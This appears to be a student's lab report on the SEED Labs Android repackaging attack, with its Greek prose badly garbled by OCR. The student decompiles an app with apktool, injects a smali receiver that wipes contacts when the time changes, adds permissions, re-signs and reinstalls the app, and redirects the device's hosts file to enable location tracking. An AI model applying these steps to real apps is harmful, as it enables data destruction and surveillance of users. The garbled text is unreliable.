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ASDAAFTA STHN TEXNOAOTTA TBYTTAHPODODOPTIAY

APAYTHPIOTHTEX

1. Aun Kol EYKATAGTOGN EQUPUOYNS-GTOYOV

1.1 Evépyeieg

I T1g 0vayKeg TG AGKNONG YPNOLOTOGAUE OO0 EKOVIKEG unyavég, Tnv SEEDUbuntu (mlevpd tov
emtOépevov) kot v SEEDANdroid (mkevpd tov Bduatoc).

Ubuntu Desktop 13 m @) 4) 8:04AM 1}

EElLizs

Ewova 1.1.1. H swcovikr unyovn tov emtifépevov (SEEDUbuntu)
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Ewova 1.1.2. H sicovikr| unyavn tov 0dpatog (SEEDANdroid)

Emunpdobeta, cuvdioape Tic 800 unyovég oto idto NAT diktvo, dote va emitevydei ) enifeon Android
Repackaging.

£ SEEDUbuntu16.04x32-bit - PuBpiozig

Tevikd AikTuo

Zhgmmua Kapra Gikmiou 1

Tuvbedepevn os: | AikTuo NAT

Ovopa:  MatMetwork

BorBzig

Ewova 1.1.3. POOon tov NAT diktoov oTig puOpicelc tng Unyavig Tov emitifépevon
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¥ SEEDAndroid - PuBpiozig
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Ofidvn

AnoBrksuon 2w oe:  AikTuo NAT
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Ewova 1.1.4. POOon tov NAT diktvov otig pubuicels g unyoavig tov 00potog

Bruo 1. Ay epoppoyng-otoyov amwo tov emitiféuevo

Exxwnoope mv punyovn tov emtbépevonr (SEEDUbuUNtU) kot katefdoape amd to eclass to apyeio
RepackagingLab.apk.

Bijuo. 2. Eykotdotoaon tg epopuoync-otoyov oty ovokevyy Android tov Gbuatog
"o T eykatdotaon TG epapproyng otn cvokevy Android ypnowyonomoayie to epyaieio adb. Apyikd,
avalnmooaue v IP tov Bduatog amd 1o tepuatikd g unyevng tov (SEEDANdroid) pe v eviodn :

ifconfig

"Eneito. eKTEAEGOUE TIG TOPOKAT® EVIOAEG GTO TEPUATIKO TNg unyavig tov emtiBéuevov (SEEDUbuNtu) pe
OKOTO TNV EYKATAGTOOT] TNG EPAPUOYNG 0T unyovn Tov Bdpatoc. Ot evioléc eivan :

adb connect 10.0.2.4
adb install RepackagingLab.apk

6mov, 10.0.2.4 n IP address tov SEEDANdroid kou RepackaginglLab.apk n epappoyn-otoyos. Téhog, yua tig
AVAYKEG TV EMOUEVAOV OPOCTNPLOTATOV, OTEYKUTACTICAUE TV EPAPUOYN, DOTE VO TV EYKOTAGTICOVUE UE
TPOTOMOLNGELS.
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1.2 Antoteriopota

F QO > @ 7:06

Window1 ~

x86_64:/ $ ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope: Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:0 TX bytes:0

etho0 Link encap:Ethernet Hwaddr 08:00:27:78:bc:97
linet addr:10.0.2.4| Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe78:bc97/64 Scope: Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:125761 errors:0 dropped:0 overruns:0 frame:0
TX packets:41402 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: 187184782 TX bytes:3266272

x86_64:/ $ |

< O O

Ewove 1.2.1. Evpeon g IP address tov Ovpatog

Terminator 1 m ) 7:21PM %

/bin/bash
m /bin/bash 66x24
[06/01/23]seed@VM:~/.../Scenariol$ adb connect 10.0.2.4;
already connected to 10.0.2.4:5555
[06/01/23]seed@VM:~/.../Scenariol$ adb install Repackaginglab.apk
14713 KB/s (1421095 bytes in 0.094s)
Success
[06/01/23]seed@WM:~/. ../Scenariol$ ]

Ewova 1.2.2. Eykatdotoon g EQpopUOYNG-0TOY0G GTNV UNnyovi Tov 60uatog
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FAQ « B 7:23
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Ewova 1.2.3. EraAn0gvon g £yKatdotaong e EpaproynS-oTdyog oTn Unyovn Tov 00Hotoc

1.3 [opatnpnecsic

H eykatdotaon éywe yeipokivta amd T0 TEPUATIKO TNG UNYOViS TOV emTBEUEVOL KOl 0TO YiaTi Ot
dvo unyavég Ppiockovtat oto 610 NAT diktvo.

2. AToGuvapuoroynen tTne EQUPUOYNE

2.1 Evépysieg

ATOGUVAPUOAOYNOOE TNV EPAPUOYN OO TO TEPUOTIKO TNG UNYOVIG TOV ETITIOEUEVOL LE TNV EVTOAT :
apktool d RepackagingLab.apk

Yotepa, eréyEape ta apysio mov mapiydnoov amd tov File Explorer tng pnyovig tov emmibipgvov
(SEEDUbuntu).
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2.2 Amotelionato

Terminator 1 m 1)) 7:29PM {%
/bin/bash

B /bin/bash 66x24
[06/01/23]seed@VM:~/.../Scenariol$ apktool d RepackaginglLab.apk

I: Using Apktool 2.2.2 on RepackagingLab.apk

I: Loading resource table...

I: Decoding AndroidManifest.xml with resources...

I: Loading resource table from file: /home/seed/.local/share/apkto
ol/framework/1.apk

_«P

=

— @I: Regular manifest package..
' yI: Decoding file-resources.

I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
_E I: Copying assets and libs...
Sy 1: Copying unknown files.
I: Copying original flles
[06/01/23]seed@VM:~/. . /Scenariol$ [ |

ty B o 730Pm

@ fitHome project4 Scenariol Repackaginglab Q =
— i Home -
8l [ Desktop J
= _ MACOSX RepackagingLab MaliciousCode.
— [@ Documents smali
! - l < Downloads
dd Music
'-_"- ! . RepackagingLab.
L A Pictures apk
'l Videos
E A @ Trash
— Q? Network
[®] computer
(, B Connectto Server
‘ “RepackaginglLab” selected (containing 5items)

Ewéva 2.2.2. To folder RepackagingLab
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RepackagingLab ty B v 730Pm i
=
@ < rHome project4 Scenariol RepackagingLab
_ it Home
@l [ Desktop J j J
original res smali
E— [l Documents
o all
et < Downloads /
dd Music AndroidManifest. apktool.yml
!H . xml
[A1 Pictures
ﬁ 'l Videos
E )y @ Trash
i Q? MNetwork
[€ Computer
B connectto Server

el

0

Ewova 2.2.3. Ta nepeyodpeva tov folder RepackaginglLab

2.3 Hopatnpioceic

To apk apyeio mepthappavet ta. .smali apyeia mov eivor kddikeg Java petoylotticpuévor, To, .arsc apysio
TOL TEPLEYOVY TOVG TTOPOLS LG EQPLOYNS Kot To XMl apyeio mov ivar yia Tig Baoikég pubuiceig piog Android

EQAPUOYNC.

3. Eveoudatmon kakofoviov KOOIKA

3.1 Evépyereg

Brijua 1. Kotéfiaoua tov koxdfovlov kadika (oe popen smali)

Kotefaoape tov kaxdpovro kddiko MaliciousCode.smali and to eclass kot to amobnkevcaue otny
unyavn tov emtidépevov (SEEDUbunNtu).

Brjuo 2. Evowudtwon kaxoffovlov kmoika otnv epopuoyn-atoyo
X1 ovvéyela, Tomobetnoaype tov kakofovio kmdika MaliciousCode.smali otov katdAoyo /smali/com.
Bruo 3. POBuion th¢ emavacovopuoloynuévns epopuoyns

Téhog, tpocbicape oto apyeio AndroidManifest.xml, mov givar kat To apyeio yio tig Bacikég pubuicelg
piog Android e@appoyng, Tic AdELES Y10 avAyVOOT Kol EYYPOET TOV ETAPMV Kol ETIONG KATOUYMPTCULE TOV
Broadcast Receiver kot puOpicape to intent-filter dote va AapPavetl to coppav exkmopnic TIME_SET.
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MaliciousCode.smali (~/project4/Scenario1) - gedit 13 E ) T:39PM %

@ Open ¥ M Save

# direct methods
Y .method public constructor <init=()v
.locals ©

.prologue
.line 14
invoke-direct {p@}, Landroid/content/BroadcastReceiver;-><init=()V

return-void

.end method

# virtual methods

.method public onReceive(Landroid/content/Context;Landroid/content/Intent;

.locals 9

.param pl, "context" # Landroid/content/Context;
.param p2, "intent" # Landroid/content/Intent;
.prologue

const/4 v2, 0x0

.line 17

invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/
content/ContentResolver;

move-result-object vo

.line 18

1aral um  "rFantantDacaluar”«l andraidlcantant irantantDacaluars

Plain Text ¥ TabWidth:8 ~ Ln 19, Col 76 - INS

Ewéva 3.1.1. To kaxdépfovro apyeio MaliciousCode.smali

Ul e B

Open ¥ [+l Save

AndroidManifest.xml (~/project4/Scenario1/RepackagingLab) - gedit 7:42PM

MaliciousCode.smali ® AndroidManifest.xml

<?xml version="1.0" encoding="utf-8" standalone="no"?>
“N<manifest xmlns:android="http://schemas.android.com/apk/res/android”
BMpackage="com.mobiseed.repackaging" platformBuildversionCode="23"
platformBuildVersionName="6.0-2166767" 5|
<application andreid:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar"=
<intent-filter=
<action android:name="android.intent.action.MAIN" /=
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity=
</application=>
</manifest>

Saving file'/fhome/seed/project4/Scenar... XML ¥ TabWidth:8 « Ln 2, Col 174 v INS

Ewova 3.1.2. To apyeio AndroidManifest.xml
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3.2 Anoteifonato

Scenariol

i Home
[l Desktop
— [ Documents
= .
-~ + Downloads
dd Music
——
[3 Pictures
'm Videos
E ) @ Trash
el 02 Network
[ computer
(_ B connectto Server

L]

Home

Desktop

o

]

[ Documents
+» Downloads
dd Music

A Pictures
vl Videos
Trash

@2¢ Network

[ Computer
8

Connect to Server

Scenario1

project4

LI cn D)

android * Q =

o E

RepackagingLab

7:39PM 1%

RepackagingLab smali

-

_ MACOSX

MaliciousCode.
smali

RepackaginglLab.
apk

“MaliciousCode.smali” selected (2.4 kB)

B v

7:40PM %

Scenariol

RepackagingLab smali com Q =

o =

mobiseed

MaliciousCode.
smali

“MaliciousCode.smali” selected (2.4 kB)

Ewoéva 3.2.2. TonoBétnon tov kakoBoviov apyeiov oto smali/com folder
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RepackagingLab 13 m q) 741PM 1%

ariol RepackagingLab smali com

Home

esktop et et et

o
=
original res smali
[ Documents
~
dd
0]
i

Downloads .

Music AndroidManifest. apktool.yml
Pictures o
Videos
) @ Trash
@2? Network

Computer

@
B ConnecttoServer

g “AndroidManifest.xml” selected (832 bytes)

ty B o) 751Pm 1

MaliciousCode.smali x AndroidManifest.xml ®

<?xml version="1.0" encoding="utf-8" standalone="no"?=
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
“Mpackage="com.mobiseed.repackaging” platformBuildversionCode="23"
platformBuildVersionName="6.08-2166767">
uses-permission android:name="android.permission.READ_CONTACTS" /=
uses-permission android:name="android.permission.WRITE CONTACTS"
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme"=>
<activity android:label="@string/app_name"

android:name="com.mobiseed. repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar"=>

<intent-filter>

<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter=
<factivity=
<receiver android:name="com.MaliciousCode" =
<intent-filter=
<action android:name="android.intent.action.TIME_SET" /=
<fintent-filter>
</receivers=
</application>

</manifest>

XML v Tabwidth:8 « Ln 4, Col 69 g INS

Ewova 3.2.4. TTpocHnkn TV adEIdV «OvAyVmOON ETOPOVY KOl KEYYPAUPT ETOPDOVH
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ty B o 7s1ipm %

Open ~ M~ Save

AndroidManifest.xml (~/project4/Scenario1/RepackagingLab) - gedit

MaliciousCode.smali ® AndroidManifest.xml ®

<?xml version="1.0" encoding="utf-8" standalone="no"7?>
<manifest xmlns:android="http://schemas.android.com/apk/res/fandroid"
package="com.mobiseed.repackaging” platformBuildVersionCode="23"
platformBuildVersionName="6.0-2166767">
<uses-permission android:name="android.permission.READ_CONTACTS" /=
<uses-permission android:name="android.permission.WRITE_CONTACTS" /=
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop" android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar"=>
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity=>
<receiver android:name="com.MaliciousCode" =
<intent-filter=
<action android:name="android.intent.action.TIME_SET" /=
</intent-filter>
</receiver=
</application>
</manifest>

XML ¥ Tab Wwidth:8 = Ln 16, Col 25 b INS

Ewova 3.2.5. Katoydpnon tov BroadcastReceiver kot phOpuion tov intent-filter yia to copfév
«TIME SET»

3.3 Hapotnpnoeic

O1 Gdeteg TG avdyvmong Kot TG EYYPOUPNS EMAPOV LOG ETETPEYAV VO TIC EXOVLE OTAV EKKIVICOUE TNV
EQUPLOYN-CTOXO TOLAUYIOTOV Uio POPE, OOV EMIYEPTCOAUE VO OVAUKTIGOVUE SIKOUMUOTO OLOYEIPIOT OTNV
android unyovn pe otoy0 va. Sloypayovpe OAES TIG ETOPEG LEC® TNG aAAayNG oty dpa (cvuPdv TIME_SET).

4. Erovocuvapuoroynoen tne EQupUoyns

4.1 Evépyeieg

Brjua 1. Avoxotackeon tov apyeiov APK

Xpnowonomoape to apktool yio tv dnpovpyio evog véou apyeiov APK, pe v evtoln :
apktool b RepackagingLab

To véo apyeio amobnkednke oto folder RepackagingLab/dist.
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Brjua. 2. Anuiovpyio. (edyovg kAetdichrv

Ipw v dnuovpyia Tov Ledyoug arddEaue Tov Tpéyovta Katdhoyo amd Tov «Scenarioly otov
«disty mov eTiaape pe v avakatackevn Tov APK apyeiov pe v eviolq :

cd RepackagingLab/dist

It dnpovpyia tov Levyous KAEWLOV (dNUOc1o Kot 11mTiKd), xproiporomoape to epyoreio Keytool e tny
EVIOM :

keytool -alias dist -genkey -v -keystore mykey.keystore

Brjuo 3. Pnoioxn vroypopn tov apyeiov APK

Ynoypayape 1o apyeio APK pe to epyadeio jarsigner kot pe tnv eVIoAn :

jarsigner -keystore mykey.keystore RepackagingLab.apk dist

4.2 Anoteiicuato

Terminator ty B v s1em
/bin/bash

/bin/bash 66x24
06/01/23]seed@VM:~/.../Scenariol$ apktool b RepackaginglLab

[
I: Using Apktool 2.2.2

I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I:
I:
I:
[

—

S IC L IERE] . Ko

Checking whether resources has changed. ..
Building apk file...

Copying unknown files/dir...
06/01/23]seed@M:~/.../Scenariol$ Jj

L]

Ewova 4.2.1. Avakataokevn| tov apyeiov APK
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Terminator ty B) o) siapm

—

/bin/bash
@. | /bin/bash 66x24

E06/91/23]5eed@VM:~/.../dist$ keytool -alias dist -genkey -v -keys

tore mykey.keystore
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: Vasilis Athanasiou
What is the name of your organizational unit?
[Unknown]: ITSeedlLabs2023
What is the name of your organization?
[Unknown]: ITSeedLabs
What is the name of your City or Locality?
[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate Student
What is the two-letter country code for this unit?
[Unknown]: GR
s CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedlLabs, L=Athen
, ST=Undergraduate Student, C=GR correct?
[no]l: vyes

I
s

Generating 2,048 bit DSA key pair and self-signed certificate (SHA
256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate Student, C=GR

ty B o s14rm 3
/bin/bash
/bin/bash 66x24

[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate Student
What is the two-letter country code for this unit?
[Unknown]: GR
Is CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedlLabs, L=Athen
s, ST=Undergraduate Student, C=GR correct?
[no]: vyes

Generating 2,048 bit DSA key pair and self-signed certificate (SHA
256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate Student, C=GR
Enter key password for <dist>

(RETURN if same as keystore password):
Re-enter new password:
[Storing mykey.keystore]

Warning:

The JKS keystore uses a proprietary format. It is recommended to m
igrate to PKCS12 which is an industry standard format using "keyto
ol -importkeystore -srckeystore mykey.keystore -destkeystore mykey
.keystore -deststoretype pkcsl2".

[06/01/23]seed@VM:~/.../dist$ I

Ewova 4.2.2. Anpuovpyia tov {gvyoug KAEWDIDV
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Terminator ty B o sisem &

/binfbash

o Jbin/bash 66x24
[06/01/23]seed@VM:~/.../dist$ jarsigner -keystore mykey.keystore R
epackaginglLab.apk dist

fEnter Passphrase for keystore:

jar signed.

Warning:

The signer certificate will expire within six months.

\No -tsa or -tsacert is provided and this jar is not timestamped W
ithout a timestamp, users may not be able to validate this jar aft
Iil er the signer certificate's expiration date (2023-08-30) or after
any future revocation date.

[06/01/23]seed@VM:~/.../dist$ I

Ewova 4.2.3. Ynoaxn vroypaen tov apysiov APK

1ty B) ) ss59pPM &

Home project4 Scenariol Repackaginglab dist Q ==

Home .
Desktop
mykey.keystore RepackagingLab.

fr
=
[0 Documents apk
v
dd
O]
[ ]

i, Downloads
Music
Pictures
Videos
Trash

@? Network

[ Computer

B Connectto Server

ofSICIN] TJERE] . Ko

L

“mykey.keystore” selected (2.0kB)

Ewoéva 4.2.4. To filepath tov ynolakod motoromtikod TG eQapUOYNG-6TOYOG



ASDHDAAFETA STHN TEXNOAOTTA THYITABPDPOOOPTAY

4.3 MMopoatnpReerc

H onuovpyla tov avtd-vmoyeypappévon TIGTOMOWTIKOD Elye ®C OKOMO TNV OovOyvOPLoN NG
EQUPLOYNG Yot TNV ypNon g od Android cuokevéc.

5. Extéleon tnc emifsonc

5.1 Evépysieg

Brjua. 1. Eykotaotaon epapuoyns oty ovoxeorn Android

Exteléoaple TIg mapakat®m eVIOAEG 6TO TEPUATIKO TG pnyavig tov emrtiféuevor (SEEDUbuntu) pe
OKOTO TNV EYKATAGTOOT] TNG EPAPUOYNG 0T Unyovr tov Bdpatoc. Ot eviorés elvan :

adb connect 10.0.2.4

adb install RepackaginglLab.apk

6mov, 10.0.2.4 n IP address tov SEEDANdroid kot RepackagingLab.apk n spoppoyni-otdyoc.

Brjuoa 2. Evepyoroinon twv adsimv (permissions) oro Android VM
Amd 10 TepUaTIKO TOV BOpaTog (SEEDANdroid) evepyonomcayie yeipokivita Tig GOe1Eg TN EPOPUOYNG-
GTOYOV OO TNV TOPUKAT® SLodpoun :

Settings -> Apps -> Repackaging Lab -> Permissions -> toggle contacts
on

Brua 3. Extéleon ¢ eniBsong

Apyicd, dmuovpynoope 3 emapég amd TV cuokevn Tov Bvuatog. Exteléocaue v emibeon a@od
avoi&ape v epoppoyn amd To teppatikd Tov Bdpatog, wote va katoympndei o Broadcast Receiver yio to
ovuPav g aAlayng opag (TIME SET). H enifeon £ywve odlalovtog yelpokiviito Ty dpa TG GLGKEVNG amd
v dadpopn :

Settings -> Date and Time -> Set time

Metd v aAlayn ®pag, N enifeon TpayuoToToleital Kot OAEG Ol dloypa@E Tov BduaTog dlaypdpovTal.
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5.2 Anoteifonata

Terminator ty B o si1ePm i
x /bin/bash
m /bin/bash 66x24
[06/01/23] seed@VM:~/.../dist$ adb connect 10.0.2.4;

| falready connected to 10.0.2.4:5555

,f? [06/01/23]seed@VM:~/.../dist$ adb install RepackagingLab.apk

14536 KB/s (1427461 bytes in 0.095s)

Success

[06/01/23] seed@VM:~/. ../dist$ [}

Ewéva 5.2.1. Eykotootdon g epoproync-otoyog otn unyovn tov 0ouatog (SEEDANdroid)

FAAQ > @ 8:16
Q Search Apps

B = ¢ B &

Calculator Calendar Calibration Chrome ClickJacking Attack 1 Clock

O = 0 u E

Contacts Dev Tools Downloads Email Gallery Gmail

c R B @ C

Google Maps MockLocation Music Notes Phone

P2 & © @

Play Store Repackaging Lab RSS Reader Settings Taskbar Terminal Emulator

X

¥

y ol

Voice Search YouTube

Ewova 5.2.2. EraAn0gvon g €yKatacTtdong e EpapUOYNS-6TOY0G oTn Unyovn Tov 00potoc
(SEEDAnNdroid)



AYDAAEIA XTHN TEXNOAOITA THY IIAHPO®OPIA>.

F AADO > [ 8:20

< App permissions

Repackaging Lab

A Contacts @

Ewova 5.2.3. Evepyonoinon tov adeidv yia dlayeipion tov emapmv

<> @ 8:21

MobiSEED
wedu@syr.edu

Import
Gallery
> Slideshow

Tools

Communicate
Share

Send

Ewoéva 5.2.4. Evepyonoinon ¢ epapuoyng yio v Kotaydpnon tov Broadcast Receiver
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F A AD > 0 8:23

& Add new contact V5

Saving to
Tablet-only, unsynced contact

=  Aggelos v

. (694) 444-4444

Mobile -

More fields

Ewova 5.2.5. Anpovpyia g emopng «Aggelos»
FEAAD «> [ 8:24

< Add new contact

Saving to
Tablet-only, unsynced contact

i Glorgos v

%, (698) 888-8888

Mobile -

More fields

Ewéva 5.2.6. Anuiovpyia g emoeng «Giorgos»
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® A AD « @ 8:22

<  Add new contact

Saving to
Tablet-only, unsynced contact

ias Vasilis v

. (697) 7777777

Mobile -

More fields

Ewéva 5.2.7. Anuovpyia g emaenc «Vasilis»

F A ADO «» @ 8:24

Contacts FAVORITES Q

ME e Seed

A 0 Aggelos
G 0 Giorgos
\' o Vasilis

Ewova 5.2.8. EraAnBgvon g dnpovpyiog Tov enapov
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CANCEL C#

Ewova 5.2.9. AAdayn ™ Opag Yo TV TPayHoTonoinon e enifeong

F ADQA > B 3:29

Contacts FAVORITES

. ADD ACCOUNT
- IMPORT CONTACTS

No contacts

Ewova 5.2.10. EraAn0evon g emttuympévng emibeong
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5.3 HHopoTnpncers

O Broadcast Receiver élafe éva copuféy aAlayng e ®pag Kot opuécmg £Tpeée ToV KakOBOLAO KMOAIKOL
«MaliciousCode.smali» mov evoopatdoape oty dpactnpromro 3. O KOSKG dloypapel OEG TIG ETOPEG TOV
Bouatog, apod eEacparicel TNV ddslo S1aEIPIONG TOV EXAPGDV.

6. HapaxkorovOnon tnc toro0soioc Tov OOpnaToC

6.1 Evépysieg

Evepyomomoape v gpappoyn MockLocation amd v pnyxovry tov 0duoatog (SEEDANroid) ko
emAéEape pio amd Tig mpoemheypéveg tonobecisg g punyavng (Paris).

Brjua 1. Awopoppwmon DNS aro Android VM
Apycd, avalntioape v IP Address g punyovig tov emtibépevov (SEEDUbUNtU) omtd to teppaticd
TOV LIE TNV EVIOAN :

ifconfig

Yotepo, avirypdyape to apyeio /system/etc/hosts amd v punyovi tov Bdpotog oty unyovn tov emtifépevov,
TO TPOTOTOMGOLE KOL TO OVTIYPOWOLUE TAAL GTY] X0V TOL BOUATOC LLE TIC EVTOALS :

adb root

adb connect

adb pull /system/etc/hosts

gedit ./hosts

adb push ./hosts /system/etc/hosts

Bijua 2. Eravacvokevaoio (repackaging) kot eykatdotach e epopuoyig-otoyon
KateBaoape v epappoyn-otoxog oo to eclass (Scenario2) kot thv amocuVapHOAOYHCAUE LE TNV
EVIOM) :

apktool d RepackagingLab.apk

TonoBetnoapue OAa To opyeic .smali otov «xatdroyo smali/com/mobiseed/repackaging. "Yotepa,
tpomonomcape to apysio AndroidManifest.xml, mpocbétovtag 3 Gdeieg kau pia yo Internet, kabmg kat tov
Broadcast Receiver mov gvepyomotgitol Kotd TV alhoyn dpag.
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AndroidManifest.xml (~/project4/Scenario2/RepackagingLab) - gedit LI m ) 2:04AM 1%

Open * [+ Save

?xml version="1.8" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/resfandroid”
package="com.mobiseed.repackaging" platformBuildVersionCode="23"
platformBuildVersionName="6.0-2166767">
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop"” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@gstyle/AppTheme"=>
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@gstyle/
AppTheme.NoActionBar"=
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter=
<factivity=>
</application=
</manifest=>

XML ¥  TabWwidth: 8 ¥ Ln1, Col1 v NS

Ewéva 6.1.1. To apyeio AndroidManifest.xml

Xpnowonomooue to apktool yio tnv dnpovpyia evog véov apyeiov APK, e v evioAn :
apktool b RepackagingLab

To véo apyeio amobnkednke oto folder RepackagingLab/dist.

ITpwv v dnuovpyia tov Ledyoug arddEae Tov Tpéyovia Katdhoyo and Tov «Scenarioly otov «dist» mov
otid&ape pe v avakatackevn Tov APK apyeiov pe v evioA :

cd RepackagingLab/dist

It dnpovpyio tov eHyous KAEWLOV (dNUOG10 Kot 101mTIKO), Xpnoiporomcape to epyoreio Keytool pe tnv
EVIOM) :

keytool -alias dist —-genkey -v -keystore mykey.keystore

Yroypayape to apysio APK ue to epyaleio jarsigner kot pe tv evioAn :
jarsigner -keystore mykey.keystore RepackagingLab.apk dist

Téhog, exTELéCOE TIG TAPAKATO EVIOAEC GTO TEPUATIKO TNG Unyovig Tov emtiféuevov (SEEDUbuNtU) pe
OKOTO TNV EYKATACTOOT] TNG EPAPUOYNG 0T Unyovn Tov Bdpatoc. Ot eviodéc elvan :

adb connect 10.0.2.4
adb install RepackaginglLab.apk

6mov, 10.0.2.4 n IP address tov SEEDANdroid kot RepackagingLab.apk n epappoyni-otdyoc.
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Brjua 3. Evepyoroinon twv adeicyv (permissions) oro Android VM
Amdb 1o tepuatiko tov Bdpatog (SEEDANdroid) evepyomotcapie yepokivnTo Tig ASEES TNE EQAPUOYIG-
GTOYOV amd TV TOPAKAT® Sodpop :

Settings -> Apps -> Repackaging Lab -> Permissions -> toggle location
on

Brua 4. Evepyomoinon ¢ enibeong

Exteréoape v emiBeon agov avoiape tnv epappoyn amd 10 TEPUATIKO TOov BOUOTOG, MOTE Vo
kotoyopnOei o Broadcast Receiver yia to cuppav g adhoyng opag (TIME SET). H enibeon €ywve aAldlovtag
YEWPOKIVITO TNV PO TNG GVOKELNC OO TNV OLALOPOUN

Settings -> Date and Time -> Set time
Metd v aAlayn opag, n enibeon mTpayuoTomoleital Kot 0 emiTiféuevoc Tapakoiovdel To Boua.

Bruo 5. HaparxolovOnon tov Ovuotog

Emotpéyape otn upyovi tov entibépsvou (SEEDUbuNtu) kot mapakorovbnocape to Bdua omd v
web gpappoyn :

http://www.repackagingattacklab.com

6.2 Artoteifopota




AYDAAETIA YSTHN TEXNOAOITTA THY TIAHPODOOPIAY

A A ¢« [ 6:36

MockLocation

SEED LABS : MOCK LOCATION APPLICATION

NEW YORK : OFF

SAN FRANCISCO : OFF

PARIS : ON

k SHANGHAI : OFF

AGRA : OFF

Ewova 6.2.1. Entloyn tonoBeciog and to MockLocation
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Terminator ty B] ) s43pm %

/bin/bash

/bin/bash 66x24
[06/01/23] seed@VM: ~/projectd$ ifconfig
P enpls3 Link encap:Ethernet HWaddr 08:00:27:be:51:57
B4 INEEE IOl Bcast:10.0.2.255 Mask:255.255.255.

B inet6 addr: fe80::d779:6d7f:25e0:6776/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
— RX packets:19249 errors:0 dropped:0 overruns:0 frame:0
J =N TX packets:14227 errors:0 dropped:0 overruns:0 carrier:0
—_— collisions:0 txqueuelen:1000
fr— RX bytes:20048313 (20.0 MB) TX bytes:13792177 (13.7 MB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

‘f'.s RX packets:3086 errors:0 dropped:0 overruns:0 frame:0
- — TX packets:3086 errors:0 dropped:0 overruns:0 carrier:0
’w collisions:0 txqueuelen:1
‘ RX bytes:7279333 (7.2 MB) TX bytes:7279333 (7.2 MB)

[06/01/23] seed@M: ~/project4s [}

Ewoéva 6.2.2. Evpeon g IP Address tov enttibépuevon

Terminator ty B o o14apm
/bin/bash

@ B /bin/bash 66x24
el [06/01/23] seed@M:~/project4$ adb root
Mladbd is already running as root
z [06/01/23]seed@VM:~/projectd4$ adb connect 10.0.2.4
mmm—lready connected to 10.0.2.4:5555
= [06/01/23]seed@VM:~/project4$ adb pull /system/etc/hosts
1 KB/s (95 bytes in 0.087s)
ﬁ 596/61/23]5eed@VM:-/project4$ gedit ./hosts

. BV

Ewova 6.2.3. Eykatdotoon g Epoproyng-oTOY0g GTNV Unyovi Tov 60uatog
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File Edit View Search Tools Documents Help 1 E q4) 915PM %

localhost

@ Dpe Save

HE ip6-localhost
;dll10.0.2.15 www.repackagingattacklab.com

Loading file '/home/seed/projectd/... PlainText ¥ Tabwidth:8 « Ln1, Col1 - INS

ty B ©) s15pm 1%

/bin/bash
e /bin/bash 66x24

ol [06/01/23] seed@VM:~/project4$ adb root

z, adbd is already running as root
[06/01/23]seed@VM:~/project4$ adb connect 10.0.2.4

s already connected to 10.0.2.4:5555

= [06/01/23]seed@M:~/projectd$ adb pull /system/etc/hosts
1 KB/s (95 bytes in 0.087s)

— #[06/01/23]seed@VM:~/project4$ gedit ./hosts

[06/01/23]seed@VM:~/projectd4$ adb push ./hosts /system/etc/hosts
—— 2 KB/s (95 bytes in 0.044s)

| = H(06/01/23]seed@VM: ~/project4s [I
—

Ewéva 6.2.5. Avtiypagr| tov tpomomomuévou apyeiov otn unyovy SEEDANdroid
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mAOA ¢ @ 417
Window 1 ~

§27.0.0.1 localhost

| ip6-localhost

10.0.2.15 www.repackagingattacklab.com

/system/etc/hosts 1/3 33%
< O O @

Ewéva 6.2.6. Exadnibgvon g avtiypagng Tov tpomomotpévon apyeiov otn punyavy SEEDANdroid

Scenario2 ty B o o21Pm %

@ fYHome project4 Scenario2 MaliciousCode Location Q=
B ) Home .
@l [ Desktop 2 2
= _ MACOSX MaliciousCode RepackagingLab.
% [0 Documents Location apk
